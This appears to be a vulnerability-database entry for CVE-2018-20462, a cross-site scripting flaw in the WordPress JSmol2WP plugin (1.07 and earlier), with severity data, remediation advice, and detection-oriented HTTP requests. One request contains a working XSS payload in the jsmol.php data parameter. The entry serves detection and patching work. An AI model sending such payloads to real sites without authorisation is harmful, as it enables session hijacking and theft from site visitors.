🔙 목록으로 돌아가기

CVE-2018-20462: WordPress JSmol2WP <=1.07 - Cross-Site Scripting

TitleWordPress JSmol2WP <=1.07 - Cross-Site Scripting
Authordaffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate to the latest version of the WordPress JSmol2WP plugin (1.08 or higher) to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.01584
CVE IDCVE-2018-20462
CWE IDCWE-79
Tags cve2018 cve wordpress xss wp-plugin jsmol2wp_project vuln

🔍 Vulnerability Description

WordPress JSmol2WP version 1.07 and earlier is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the jsmol.php data parameter.

🌐 HTTP Request

GET /wp-content/plugins/jsmol2wp/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-20462.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-20462.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A